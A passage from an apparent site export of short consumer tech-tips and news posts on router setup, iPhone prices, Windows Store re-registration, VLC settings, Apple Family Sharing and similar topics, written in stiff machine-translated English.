usually 192.168.0.1 ), username and password to login ( usually for admin and admin or 12345678 ). If you do not have access to it, you should go back to the initial default mode for easy configuration ( Black, small Reset button at the back of the Router ).\n  - Should use Internet Explorer (IE) instead of using Firefox or Google Chrome.\n- When configuring you should plug the router directly into your PC via RJ45 cable and plug in the yellow LAN on the router\n- On the computer, you set dynamic IP, not set static if set static, must coincide with the router's IP address range\n\nStart configuring the Wireless Router Tenda W311R\n Step 1: Access the Router according to the parameters attached\n  Click DHCP , let the Router grant the device IP dynamically when accessing the network, then click Advanced to continue\nStep 2 : Here you click the Wireless card\nStep 3 : Select as shown below\n  With SSID is your Wifi network name and Network Mode is the network standard that you play ( here I choose 802.11b and g ), you can change these parameters as you like. Then click Wireless Security to continue\nStep 4 : You can choose as shown below\n  With Security Mode is the security mechanism, enter the password in the Security Key box and then select Ok to finish.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZaees6p50aisrZ2iYsGmusOaZLBrYWa%2F\n","link":"/post/instructions-for-installing-wifi-router-tenda-w311r/","section":"post","tags":null,"title":"Instructions for installing Wifi Router Tenda W311R"},{"body":"Apple has released three new iPhone Xs, Xs max and Xr, in which Xr is considered an upgrade of the iPhone 8. 3 this version is equipped with many new innovations by Apple but with that level 'chat' price is much more than the prediction given earlier.\nWith 64GB versions, the iPhone Xs and Xs Max cost $ 999 and $ 1,099 respectively. And if you want to upgrade to a higher memory version, of course you will have to pay a decent amount.\n  The 256 GB iPhone Xs is priced at $ 1,149 but with 512GB of memory, the device costs up to $ 1,349.\nThe 256 GB iPhone Xs Max costs 1,249 USD and the 512 GB version will be 1,449 USD.\niPhone Xr also has three memory versions including 64GB, 128GB and 256GB. The starting price of iPhone Xr for 64GB internal memory is 749 USD.\n  Price of new iPhone trio in Vietnam market\nAccording to information from FPT Shop, one of Apple's largest authorized dealers in Vietnam, the genuine new iPhone trio will be officially released at the end of October, early November. The iPhone Xr model will be released later than half. month compared to the Xs duo.\nAnd as expected, the price of iPhone Xr for 64GB, 128GB and 256GB versions is VND 21.99 million, VND 23.99 million and VND 26.99 million respectively. iPhone Xr will have colors including black, white, red, yellow, orange and coral green.\nThe selling price of iPhone Xs with 64GB, 256GB and 512GB versions is expected to be VND 29.99 million, VND 33.99 million and VND 39.99 million respectively.\n  The iPhone Xs Max model has the highest price. Starting price for 64GB version is 32.99 million VND and 256 GB and 512GB versions are priced at 36.99 million VND and 42.9 million VND respectively.\nBoth iPhone Xs and Xs Max support 3 color options including gray, silver and gold.\nSee more:\nHighlights on the iPhone Xs duo have just been released by Apple How to change the respring interface on iPhone How to add a menu bar for iPhone ncG1vNJzZmismaXArq3KnmWcp51ku6bDjKKnoaeemnq5v4yxqmalka16orrDZq%2BrZaCntqSx0maYq51dp7KtscCsnJ1lkq56orzPpZw%3D\n","link":"/post/new-iphone-xs-xs-max-and-xr-prices-are-released-by-apple/","section":"post","tags":null,"title":"New iPhone Xs, Xs max and Xr prices are released by Apple"},{"body":"The Blockheads and Multicraft are two of the survival games with Minecraft-like graphics and gameplay, with a large number of downloads on the Play Store.\nTop 5 free Android games like Minecraft 1. The Blockheads The Blockheads is a name that is not far from many players. A survival game with 2D graphics and Minecraft-like gameplay promises to give you a \"strange but familiar\" experience.\n  In the game, The Blockheads is the player's task to collect resources, build weapons, build their own world and fight other forces to survive.\nDownload The Blockheads to your device and install it here.\n2. Multicraft Multicraft can be compared to a copy of Minecraft, from graphics, gameplay to the characters in the game not \"mixed\". Only thing this free Android game includes two game modes: creative (creative).\n  If you are looking for a free Android game similar to Minecraft, Multicraft is definitely a name you cannot ignore.\nDownload Multicraft to your device and install it here.\n3. Exploration Lite Craft Besides, you can refer to Exploration Lite Craft, players have both a familiar feeling and a strange feeling. Familiar with the gameplay inherent in Minecraft and novel by sharp, easy-to-\"addictive\" 3D graphics.\n  To download Exploration Lite Craft to your device and install it, you can access it here.\n4. Block Story The biggest difference between Block Story compared to Minecraft and other free Android games mentioned in the article is the 3D graphics and elements of the role-playing game.\n  In the game, the player's mission is to explore new lands, exploit and craft weapons, and fight monsters and dark forces to survive.\nDownload Block Story and install it here.\n5. Crafty Lands The last thing I want to introduce to you is Crafty Lands which is a copy of Minecraft for children.\n  In the game, players will be free to explore new lands, collect resources, craft weapons and build their own land and world, .\nDownload Crafty Lands and install it here.\nAbove I have just introduced to you Top 5 free Android games like Minecraft. Do not hesitate to download these games right away and experience breathtaking moments?\nTop 5 Minecraft ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kn6qVmnqiusOrpqKcXZyurrHSZqOio5Viuqq6xJypmp6k\n","link":"/post/top-5-free-android-games-like-minecraft/","section":"post","tags":null,"title":"Top 5 free Android games like Minecraft"},{"body":" Business cards are not only where business people provide information related to their work and positions to recipients but through business cards, successful entrepreneurs also show their own personalities. The unique cards of the great men below will show you many unique things in their personalities and work.\nOnly smart people can handle difficult things and that's why we call them entrepreneurs. Some of them have turned the world into a whole new place, because they are brave people. Below are the unique \" brave \" cards of world famous \" warriors \".\nBill Gates: Microsoft Position: Founder and CEO Establishment date: April 4, 1975 Other companies: Bill \u0026amp; Melinda Foundation, Corbis Corporation, Cascade Investment, Microsoft Research, bgC3, The Global Fund to Fight AIDS, Tuberculosis and Malaria.   Steve Jobs: Apple Position: Founder and CEO Established date: 1/4/1976 Other companies: Buy Pixar and Next.   Mark Zuckerberg: Facebook Position: Founder, CEO and programmer Establishment date: April 4, 2004 Other companies: Buy Whatsapp and many other start-ups   Walt Disney: Disney Studios Position: Founder and animator Establishment date: October 16, 1923 Other companies: Walt Disney Company, Disney World, Laugh-o-gram Studios and many other companies   Larry Page: Google Position: Co-founder Establishment date: September 4, 1998 Other company: Alphabet Inc.   Steve Martin: Actor Position: Manufacturer and actor Established date: Become an actor since 1969 Other company: None.   Wright Brothers: Wright Cycle Company Position: Founder and scientist Established date: 1886 Other company: Myriad project   Chuck Jones: For Warner Bros. Position: Animation designer (animator) Established date: 1993 Other company: None   Jerry Young: Yahoo Position: Co-founder Established date: March 2, 1995 Other company: None   Evan Williams: Twitter Position: Founder and CEO Establishment date: March 21, 2006 Other company: Blogger   Steve Wozniak: Apple Position: Co-founder Established date: 1/4/1976 Other company: Homebrew Computer Club, Children's Discovery Museum of San Jose, CL 9   Michael Dell: Dell Computers Position: Founder Establishment date: 1/2/1984 Other companies: Michael \u0026amp; Susan Dell Foundation, MSD Capital LP, Dell Software   Author: Shriya Joshi\nbusiness cards  Kareem Winters Update 24 May 2019\nncG1vNJzZmismaXArq3KnmWcp51kwq%2B10K6cZpqlqLavsdKsZJyZopnAbrvFZmhrZZaWurDB0maZrquZo7K0v8yepQ%3D%3D\n","link":"/post/unique-business-cards-of-12-famous-businessmen/","section":"post","tags":null,"title":"Unique business cards of 12 famous businessmen"},{"body":"I. What is Adobe Dimension?   Adobe Dimension is a new addition to the Adobe family and they are built from 2016 to present. During the years of development, Adobe Dimension has gone through many different names such as: Project Felix, Adobe Dimensions and finally they were officially named Adobe Dimension at the end of 2017. In just a few years, Adobe Dimension has attracts a lot of users thanks to its superior feature set as well as versatility in design.\n  Adobe Dimension was born to serve 3D design, 3D rendering and especially 3D rendering from other available 2D images of Adobe. There are many 3D tools on the market today and they are considered difficult to use, incompatible with Illustrator, Photoshop, etc. The purpose of Adobe when launching Dimension is to create an ecosystem. Design the finished product for the user. As for Dimension, they will be the final post-production stage for Illustrator, Photoshop.\n  You can imagine through the following example: You receive a contract to design a soft drink bottle for a large company.\nStep 1: Proceed to the size shape, draw the simulation and the tool will now be Illustrator.\nStep 2: Next comes the 3D RAW (3D raw) rendering of the water bottle based on the drawing, the size Step 1 and the tool will be Photoshop.\nStep 3: Finally, you will need to Render the image, add image details to the water bottle to make them more realistic. At this step Adobe Dimension will promote the effect of the software.\nII. Applications of Adobe Dimension in practice 1. 3D Rendering – Render 3D   With a wide range of features for editing materials, light images, etc., Dimension easily produces beautiful 3D images thanks to products available on other Adobe software. Currently, in the design market, 3D modeling is very popular and is chosen by many manufacturers in product design: Packaging, bottles, boxes, .\n2. Real-time output   Currently, the software follows Real-time (real-time) design because they will show viewers their products right after the design is completed. Besides, real-time rendering has many advantages in terms of images, content control, etc.\nIn this article, TipsMake has shared with you the new Adobe Dimension software that has appeared on the market and its applications. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRmbyjsYydoKadnqi2sLqMqK2eqqaesrh5zp9kmpyfl7JusMimnKermaS7\n","link":"/post/what-is-adobe-dimension-overview-of-adobe-dimension/","section":"post","tags":null,"title":"What is Adobe Dimension? Overview of Adobe Dimension"},{"body":"Most people stick with what comes by default, and some Linux distros are choosing to create their own desktops. elementary OS has a Pantheon. Solus has Budgie. System76 has COSMIC. Nitrux Linux has a Maui Shell. Previously, Ubuntu had Unity.\nCreating a desktop is no easy task, so why do so many distributions make an effort to do this?\n1. Controlling the software experience In the world of proprietary software, the companies that provide the operating system have control over the majority of the desktop experience. They either develop the code themselves or contract with a third party and have the power to make any changes their development team wants to make.\nIn the world of free software, all components come from different entities. Display server developers are different from those who create boot screens or package formats. The distribution's development team may lack the knowledge to fix bugs in any of these components, or lack the authority to make the desired changes.\nBy creating its own desktop environment, a company like System76 can at least control the interface its customers see. This way, they don't have to try to fix extensions or patches that might break every 6 months, when a new version of the GNOME desktop environment arrives (which System76 ships by default before launch). COSMIC development) was released. And they don't give up on hoping that GNOME will incorporate their desired changes.\n2. Set your own vision   Having control over the code is only one aspect. It's also important to control the direction the code will develop.\nConsider how GNOME commits to showing only the toolbar in the Activities Overview. Distributions like Ubuntu and Pop! _OS wants an always visible dock, so developers write extensions to make this change. But while GNOME allows extensions, ensuring that extensions work from one version of GNOME to the next is not a priority.\nAs a result, Canonical and System76 find themselves dependent on a desktop that does not provide the desired functionality and does not necessarily provide a stable platform for them to patch.\nBy creating its own desktop environment, System76 is able to create a desktop that works better for the experience it wants to deliver to its customers, rather than reshaping someone else's vision to suit it.\nDock is probably the most preferred element. So does the tile window manager. So it's possible that a custom theme that some GNOME developers aren't particularly fond of, will simply become the default theme. Updates won't disrupt these aspects of the experience.\n3. Linux distro must respond to user feedback   Once people start using your project, you'll get feedback on what they like and don't like. Some people like that GNOME has no desktop icons. Others find this unacceptable. This fact gives the impetus for companies like Canonical to keep this functionality as part of Unity and add it back to GNOME via an extension.\nAs another example, consider how many people find KDE Plasma to have an overwhelming number of options. However, at some point someone will request a feature and another option appears.\nSystem76 occupies a special place in the Linux world. It's a provider of both Linux hardware and software. They have customers who are willing to pay, then express their expectations and desires in return for the company. Customers may not directly ask System76 for a new desktop environment, but creating a new environment can help the company deliver what customers are actually asking for.\n4. Volunteers want freedom to grow GNOME is a very 'stubborn' desktop environment. This is not a criticism. Unlike many traditional Linux desktop environments, the GNOME project has a targeted vision of how its interface should look, function, and integrate. Any contributions that deviate from that are not merged.\nSo if someone created a way to show thumbnails for each open workspace in the bottom corner of the screen, that's not likely to become part of GNOME.\nIn the above case, the person might not need to drop his code and instead develop something else for GNOME. Since they are not employees, they can instead move to another desktop where their contributions are welcomed.\nSome volunteers have a broader vision of how the entire desktop could work, and no current project gives them the freedom to create things exactly how they want. As a result, they started their own projects.\nWhether it's technical or visual, there's always a reason someone would want to try creating a new desktop environment.\n5. Want to be different   Canonical's Unity interface was controversial in the Linux world when it first appeared. Many people don't understand why Canonical spends so much time developing it when it already has a working desktop interface.\nBut part of Ubuntu's mission is to make it easy to access, and this will help it come pre-installed on new computers. And some computer manufacturers weren't particularly enthusiastic about trying to sell computers with outdated-looking interfaces like GNOME 2.\nUnity is a different interface, not only when compared to Linux distributions but also compared to Windows and macOS. When you look at the image of the Unity desktop, you know what you're looking at. It's Ubuntu! It has bright vivid icons on the left and a keyboard-controlled HUD feature useful for navigating the application menu. By creating its own desktop environment, Canonical has a unique offering.\nEven for traditional Linux users who want to download an ISO file to replace their current operating system, there will be reasons to use one distribution over another. The package format and release schedule were each the main differentiating factors. Over the years, attention has been focused on the desktop environment.\nLinux distro linux desktop environment ncG1vNJzZmismaXArq3KnmWcp51kgm6%2BxJqqqKajYsSpxYyloKetqGKxqr%2FTq6asZZOnsqLAxGaroZ2Zp3qww81mm56rm6m8sXnEp62iqp%2Bjuqa60w%3D%3D\n","link":"/post/5-reasons-why-linux-distros-create-their-own-desktop-environment/","section":"post","tags":null,"title":"5 reasons why Linux distros create their own desktop environment"},{"body":"Find Out - Find something \u0026amp; Hidden objects, also known as Vietnamese Find Out - Find hidden items. A puzzle game in the genre of finding objects in familiar photos is very attractive to players.\nFind Out is a game released with the Brain Out - Focus App, an illogical puzzle game that is causing many people a headache when they find answers to extremely tough questions.\nFind Out is also a puzzle game, but instead of answering questions with the given image, players will have to find the hidden objects and images in each puzzle. The game is divided into different sections such as finding hidden pictures, finding the differences between two pictures, finding hidden pictures according to separate themes .\u0026nbsp;\nEspecially in the Puzzle section, this part is more special than the usual parts. It requires the player to think logically and link images and objects in the puzzle to find the hidden object and the difficulty level will be harder than the other parts.\nWhat is the Find Out Puzzle game? The Find Out Puzzle Mode also requires the player to find hidden objects in the image. However, you'll have to use the objects in the puzzle with other objects in the image to find the last hidden item the question asks.\n  For example, like above, want to take the pirate's hat sitting on the chair. You need to burn the map, he will panic to see the map burned and fall asleep. The hat falls off and you can take it.\nIn general, the items you need to find in Puzzle mode will have items you can get right away. And there are also items that you need to take longer to find.\nVideo of Find Out answer part on Puzzle level 1 - level 5 Above is the Find Out answer to the Puzzle section, if you have thought and tried the ways but still cannot find hidden items, please see the Find Out answers above.\nncG1vNJzZmismaXArq3KnmWcp51krq%2B%2F1p6prGWWnrulec6uq2asmJp6ssHIs2SlnaaauW59jG4%3D\n","link":"/post/answers-find-out-the-quiz-level-1/","section":"post","tags":null,"title":"Answers Find Out the Quiz level 1"},{"body":"There has never been a better time to get a new smartwatch, with the release of the fifth-generation Apple Watch last year. Now is also a good time to own a new fitness tracker with the release of Fitbit Versa 2.\nThese two products have different features and overall focus, so it's hard to choose which device to wear on your wrist for your next marathon, right? Let's find out some of the main differences with TipsMake.com and help you determine which device is more suitable for you through the following article!\nShould choose FitBit or Apple Watch health monitoring bracelet? Design Battery life Functions Accuracy Final decision Design At first glance, it's easy to confuse the Fitbit Versa 2 with the Apple Watch. Square shape and slim design with rounded edges, makes Fitbit Versa 2 look surprisingly familiar to Apple fans. When it comes to Apple, this design is no stranger to anyone who has seen the Apple Watch 4. Apple designs a product with different casing materials, including aluminum, titanium and white ceramic options, Along with a variety of straps are available.\n  Versa 2 is only available with aluminum. You can immediately see that the Apple Watch is a clear winner with lots of different options. Both devices have an Always On display, which means you'll be able to view physical notifications and data without having to raise your wrist. While Apple dominates in design choices, the Versa 2 is not inferior in appearance, so you will not regret choosing one of two options.\nBattery life There is no clear winning option in terms of design, so the article will move to another category. While physical fitness will be the main focus here, battery life is the second most important factor.\n  If battery life is what interests you the most, the Versa 2 is the clear winning option, with a promise of about 5 days of battery life (compared to Apple's 18-hour battery life). You can slightly increase battery life, if you turn off the Always On feature on Apple Watch 5.\nIf you don't have a charger or forget to plug in your Versa 2 after running in the morning, rest assured! You will not wake up to a 'dead' device. Versa 2 is a better choice for any fitness enthusiast who values ​​battery life.\nFunctions Features are the most important thing to consider before making any purchase decision. Many people wonder because the Apple Watch is more known as a smartwatch than a health bracelet. However, both devices are more likely and are good enough to be worn regularly.\nFrequent swimmers will prefer water resistance to a depth of 50 meters on both devices. Any fitness enthusiast who wants to run, cycle or walk without a phone can choose an LTE-enabled Apple Watch and leave it at home.\n  While both watches include an optical heart rate monitor, Apple divides the 4 and 5 series by including an ECG (ECG) display. The Versa 2 has a Sp02 sensor to measure blood oxygen levels.\nUnlike the Apple Watch, the Versa has built-in sleep tracking. This is a welcome addition and another way to show Fitbit's seriousness about tracking physical factors on the Versa 2. This product looks at the entire 24/7 health cycle. your work, not just a 30 to 60 minute workout.\nAccuracy As a device designed specifically for fitness tracking purposes, you can expect the Versa 2 to easily win this category. However, there is one important area that Apple wins in the contest for accuracy - GPS. Curiously, the Versa 2 lacks GPS and is a strange omission for a device that focuses on physical tracking. That makes you need to bring your smartphone whenever you want to track outdoor exercise properly.\n  The Apple Watch 5 has both a GPS and a compass (Watch 4 has GPS only), allowing for more accurate tracking of physical elements. However, the Fitbit's approach to using a single app to view all your workout information is a huge plus. Apple requires at least 3 applications: Health, Watch and Activity.\nFinal decision Finally, deciding on which health monitoring bracelet is right for you is entirely subjective. There are strong arguments in favor of both products. For example, Android users should absolutely consider the Versa 2, as they won't be able to connect their phones to Apple Watch. Users who appreciate the strong battery life will want to choose the Versa 2 with a rugged appearance and nearly 400% more battery life than the Apple Watch 5.\nThe same is true when it comes to price. The Versa 2 is undoubtedly a better deal at $ 200 (VND 4,600,000), while the Apple Watch 5 starts at almost double the price. Anyone who values ​​personalization and a large App Store with thousands of physical apps should head to the Apple Watch. You won't regret making any decisions, but the Apple Watch wins closely thanks to the features deep within it.\nWhich health monitoring bracelet is your favorite option? Leave your comments in the comment section below and let people know why you chose this product rather than the other option.\nWish you owned a device like that!\nncG1vNJzZmismaXArq3KnmWcp51ksLC5z5qpnmWWnsGjtdNmmKecXZa9sbjEZq6arJOd\n","link":"/post/compare-fitbit-and-apple-watch/","section":"post","tags":null,"title":"Compare FitBit and Apple Watch"},{"body":"PhotoScape is a software that integrates various photo editing features to meet basic needs such as adjusting contrast brightness, viewing photos, cropping images, resizing, creating animations . In content The following article, we will guide you how to make animated photos on PhotoScape.\nBasic steps for making GIF images from video files Tutorial for creating animations in Photoshop CS6 Note : You should use square images to make animations\nStep 1 : At the main interface of PhotoScape, select the Animation Gif tab\n  Step 2 : You import photos into PhotoScape (from 2 photos or more)\n    Step 3 : You will customize the animation effect\n  1- Play button (a pointed triangle facing to the right): Run image transfer mode.\n2- Stop button (square shape): Stop image transfer mode.\n3- Change time : Change the image transfer time. For every 100 units it is 1 second.\n4- Change effect : Photo transfer effect:\nNo Effect : No effect Slide up : The next image will run from the bottom up instead of the previous image. Slide down : The next image will run from the top down instead of the previous image. Slide to the left : The next image will run from right over instead of the previous image. Slide to the right : The next image will run from the left to replace the previous image. Convert to Background Color : The previous image gradually changes to the background color, then the background color gradually changes to the next image (the background color is mentioned below). Convert to Black : The previous image gradually changes to black, then from black gradually changes to the next image. Convert to White : The previous image gradually changes to white and then from white to the next image. 5- Optional image size .\nSet to first photo size : Take the first photo size to make the overall size for the remaining photos. Set to big photo size : Get the largest image size as the general size for the remaining photos. Set to small photo size : Get the smallest image size as the common size for the remaining images. Set canvas size : Choose your desired size. 6- Slider : Customize image size (resize).\n7- Resize Ratio : Shows the resize ratio compared to the original size.\n8- Background Color : Background color option ( for Change effect above ).\nStretch Paper Full Full Image Image Full (No Enlargement - No photo enlargement). 9- Photo Align : Photo position (aligned).\nStep 4 : After adjusting the effect, select Save to save the image\n  And this is the result\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqWRoLJuvMeoq6irXaS7brzHqKuoq5OWvaY%3D\n","link":"/post/how-to-make-photos-on-photoscape/","section":"post","tags":null,"title":"How to make photos on PhotoScape?"},{"body":"The Microsoft Store app in Windows 10 offers a variety of software, games, music, movies, TV shows and books that users can browse, buy or download for free and install for Microsoft accounts in PCs and devices. Windows 10.\nIf the Store app doesn't open, hang, or work properly, re-registering the Microsoft Store app will fix this problem.\nThe following instructions will show you how to re-register the Microsoft Store application for your account or for all users in Windows 10.\nNote : Make sure you have the correct time zone, date and time to avoid Store problems.\nRe-register the Microsoft Store application for existing users 1. Terminate the Microsoft Store application to make sure it is closed and not running.\n2. Open PowerShell.\n3. Copy and paste the command below into PowerShell and press Enter:\nGet-AppXPackage *Microsoft.WindowsStore* | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register '$($_.InstallLocation)AppXManifest.xml'} Re-register the Microsoft Store application for existing users 4. When done, you can close PowerShell and try opening the Microsoft Store application again.\nRe-register the Microsoft Store application for all users Note : You must be logged in as an administrator to perform this option.\n1. Terminate the Microsoft Store application to make sure it is closed and not running.\n2. Open PowerShell as admin.\n3. Copy and paste the below command into PowerShell with admin rights and click Enter:\nGet-AppXPackage *WindowsStore* -AllUsers | Foreach {Add-AppxPackage -DisableDevelopmentMode -Register '$($_.InstallLocation)AppXManifest.xml'} Re-register the Microsoft Store application for all users 4. When done, close PowerShell.\n5. Restart the computer to apply the changes.\n6. Try opening the Microsoft Store application again.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVp7KotdKtnKtlpJ2ybrnInKmoq5%2BbwW6%2F06ipnmWRpb1utc1mrqKmlKTEtHmQaQ%3D%3D\n","link":"/post/how-to-re-register-the-microsoft-store-app-in-windows-10/","section":"post","tags":null,"title":"How to re-register the Microsoft Store app in Windows 10"},{"body":"With this feature, sending a contact will be much simpler. You can create a completely new vCard, send contacts via vCard feature in Outlook or import vCard in Outlook and Gmail. The following article will guide you to read how to use the vCard feature in Outlook.\n1. How to create a vCard file in Outlook In the Outlook interface, click the Contacts icon to create a vCard file.\n  Then display a new interface, click File\u0026gt; New Entry to proceed to create a new account. Next, click New Contact to create a new vCard file.\n  Display interface for users to enter contact information, click Save \u0026amp; Close to save the information.\n  2. How to send a vCard file in Outlook Open the email interface and then click the file icon as shown below.\n  In the selected list of attachments, click Attach Item\u0026gt; Business Card\u0026gt; Other Business Cards . Then you select the contact you want to send and click OK.\n  3. How to import vCard files from Outlook, Gmail Import vCard files from Outlook To import vCard files from Outlook, click on the arrow icon in the vCard file and then click on Open .\n  Display the Contacts interface, you just need to press the Save \u0026amp; Close button to save.\n  Import vCard from Gmail In the Gmail interface, click on the download icon to download the vCard file . Then we click Open to open the file and choose to open in Outlook . Finally, the file opens in the Contacts interface of Outlook. You also just need to click Save \u0026amp; Close to save.\n  import a vCard in Outlook ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmrZyZopl6p7HArayrnV2eu2671K2jqKeb\n","link":"/post/how-to-use-the-vcard-feature-in-outlook/","section":"post","tags":null,"title":"How to use the vCard feature in Outlook"},{"body":"After promising, Apple has finally launched the web version of the iCloud app for mobile browsers at iCloud.com. As such, users can now access iCloud via a mobile browser without having to install the application as before, which is especially useful for Android users.\nBasically, iCloud web version still fully supports common features as on the application, allowing users to use the following online features: Photos (Photos), Notes (Notes), Reminders ( Reminders) and Find My iPhone (Find My iPhone) . Although missing two features are also relatively important Contacts (Contacts) and Calendar (Calendar), but this is the first version of this website, the Missing features will definitely be added soon.\n  Here are some pictures of the mobile iCloud website interface:\nAccount Settings   \nIn this section, you can find external links to Apple ID, language settings, format settings and storage capacity.\nPhotos   \nYou can view the entire iCloud photo library online on your mobile device. It is also possible to delete, like, add, download photos and even copy iCloud sharing links.\nAfter accessing the photo browsing interface, you can return to the album by swiping down.\nFind My iPhone   \nThe Find My iPhone feature for mobile devices is now fully developed, with all the same options as the desktop version. You can order a sound to locate your device, see it on a map, erase the device, check the battery level, and finally set up a lost phone mode.\nReminders   \nHere, you can add reminders to previously created lists and also change the name or appearance of the reminder. However, you will not be able to create new lists of reminders or share them.\nDue to being the first version, there are certainly some unnecessary issues - especially for Android users. For example, the ability to upload photos to iCloud cloud photo library is not working properly, often reporting an error when users upload photos directly from a mobile browser. Or like some Android users can't enter notes after creation.\nHopefully in the future, this platform will be fully updated with the features of the application and especially more stable operation.\nncG1vNJzZmismaXArq3KnmWcp51ktqS4zq6bZq%2BVl3q3sdGsoKimXZu8s3nMqJmipJVir7O71qycq6tdpLOntcKimKWkqWK5osHNnJ%2BenA%3D%3D\n","link":"/post/icloud-web-version-for-mobile-browsers-officially-launched/","section":"post","tags":null,"title":"iCloud web version for mobile browsers officially launched"},{"body":"Decoding Hardware acceleration is much more efficient. With Hardware Acceleration, the CPU will not interfere with the process of Graphics Processor (GPU) - designed to speed up the process of decoding (or encoding) a specific video. In short, GPU can solve your problem faster and use less battery.\n  1. What is Hardware Acceleration? There are many different ways to replay a video. One of them is through \"software decoding\". Video Player reads video files and decodes the information using a processor or CPU.\nModern CPUs can handle and deliver video quite well, but this is not the best solution for this problem.\nDecoding Hardware acceleration is much more efficient. With Hardware Acceleration, the CPU will not interfere with the process of Graphics Processor (GPU) - designed to speed up the process of decoding (or encoding) a specific video. In short, GPU can solve your problem faster and use less battery.\nHowever, the limitation point is that Hardware acceleration is only available on some specific video formats. When you rip or download videos, you should use the format of H.264. Usually H.264 format has an extension of .mp4.\n2. How to enable Hardware Acceleration on VLC? To enable Hardware Acceleration on VLC, follow the steps below:\nOn VLC, click on Tool =\u0026gt; Preferences .\n  Next click the Input / Codes tab, then find the Hardware-accelerated Decoding option under the Codecs section and set the option to Automatic .\n  List of video codecs you can speed up:\nOn Windows: H.264, MPEG-1, MPEG-2, WMV3 and VC-1.\nOn Mac: only H.264 is Hardware Acceleration.\nWith videos without Hardware Acceleration will be played normally, VLC will only use CPU.\n3. Use Movies \u0026amp; TV applications If you want to save as well as extend your laptop battery life you can use the Movies \u0026amp; TV app built into Windows 10. Movies \u0026amp; TV apps not only play movies and TV shows on The TV you pay for, but also plays the movies you downloaded from Microsoft.\nMovies \u0026amp; TV is the default video player on Windows 10, just double click on any video to open it on Movies \u0026amp; TV application (in case if you have not installed other video player application).\n  4. Enable Hardware Acceleration on other video players If you use another video player, you can go online to search for steps to enable Hardware Acceleration to make sure your video player has Hardware Acceleration enabled.\nWith YouTube, YouTube can provide videos in H.264 video standard format that many hardware chipsets can offer hardware acceleration, or Google's VP8 and VP9 codecs.\nYouTube server VP8 and VP9 to open videos on Chrome and Firefox by default, but it is worth mentioning that Hardware Acceleration of VP8 and VP9 is not built into any hardware.\nThis means that YouTube on Chrome browser and Firefox browser will \"consume\" your battery faster than browsers that only support H.264, such as Microsoft Edge browser and Apple's Safari browser. .\nIn order for YouTube on Chrome browser and Firefox browser to save battery power, you can install and use the h264ify extension.\nRefer to some of the following articles: 10 best free video players for iOS devices Trick to watch YouTube videos on VLC Media Player How to record a screen with VLC Media Player? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktqd52KisZq%2BRo8FuwsucZK2nXZi8r7%2FUppxmpJWowG6uwK2rnqqpYre2v9NmnKeZkqGybrTAq5uwmaKaeqKvwp6jnqqRqbawug%3D%3D\n","link":"/post/if-you-want-vlc-to-consume-less-battery-just-enable-hardware-acceleration/","section":"post","tags":null,"title":"If you want VLC to consume less battery, just enable Hardware Acceleration"},{"body":"The Family Sharing feature is the first feature released in iOS 8 version that allows family members to share all purchased or downloaded applications for each other. Anyone who is a member of the group can download music, videos, movies, applications, books from other members to the device. This can help save money and help all members use the same entertainment facilities.\nTo use the Family Sharing feature, each member needs to own the following:\niPhone, iPod touch or iPad iOS 8 and above An Apple ID / iTunes account After preparation is complete, follow these steps:\n1. Set up Family Sharing feature Go to Settings\u0026gt; iCloud\u0026gt; Set Up Family Sharing . You will be asked if you want to be a family organizer.Please confirm if you want and then log in to your Apple ID account.Then click Continue .   Note : The Family Organizer will be responsible for all Family Sharing feature management in the family, from allowing anyone to join the group to paying for the application.\n2. Set up payment methods and share location in Family Sharing After you have set up the Family Sharing feature, you will have to do some additional steps:\nGo to the screen to share purchased items (Share Purchases) and make sure that the Apple ID you entered will be the main Apple ID responsible for managing all Apple ID members. Then click Continue . Confirm that the credit card or online payment card displayed on the screen will be used to pay for the applications you purchase as well as all other applications purchased by your Family Sharing team members. .When members under 18 buy apps on the Appstore, they will need to get permission from your Apple ID. You can choose to enable location sharing with your family, which allows all family members to know where your device is.Click Share Your Location if you want, if not, select Not Now .   3. Add other members to the Family Sharing group Go to Settings\u0026gt; iCloud\u0026gt; Family\u0026gt; Add Family Member (Add family member) . Enter each member's Apple ID into the device.You can also enter the person's name if you have saved it in the contacts list. Then follow the instructions on the screen. Invited members can accept invitations in one of two ways: If the member is invited near you, ask them to enter the Apple ID. If the invited member is not near, select the solution to send the invitation, then the device will send a message to that person. You can check whether the member has joined your group by: Go to Settings\u0026gt; iCloud\u0026gt; Family .Click on each person's name to see the status.   After completing the above steps, all of your Family Sharing team members will be able to purchase the application through a joint account as well as use all the applications that other members have purchased.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnFmqSipKliwKmt0aKloGWWmq61wdGeZJ%2BnomK2sbTOp5xmoaCWsQ%3D%3D\n","link":"/post/instructions-for-using-family-sharing-feature-for-iphone-ipad/","section":"post","tags":null,"title":"Instructions for using Family Sharing feature for iPhone / iPad"},{"body":"Recently, Opera has announced it will officially close the service of providing virtual private network (VPN) on two Android and iOS platforms after two years of operating in free mode.\nOpera is a popular Internet browser, advertised with a higher level of security than other applications like Chrome or Firefox thanks to the VPN feature.\n  Opera VPN application on Android and iOS will terminate from April 30, 2018. Opera also recommends that users switch to another service, SurfEasy VPN, a paid service provided by the company itself. Opera Gold account holders will receive one year of free SurfEasy Ultra licenses, while free users of Opera if the option to purchase Total VPN will be offered a discount of 80% if they decide to use SurfEasy.\nThe Ultra package is priced at $ 11.99 (if you pay extra, users will have more choices of some countries, while being protected in a peer-to-peer (P2P) network when online) and Total VPN is priced at 4 99 USD per month, all allow to use on 5 different devices and unlimited data usage. SurfEasy also has a free package, but users will be limited to 500 MB capacity when accessing the network via VPN.\nSee more:\nOpera 51 is 38% faster than Firefox Quantum, download and experience The Opera 50 browser can block websites that dig money from encryption from user machines How to install Opera on Chrome 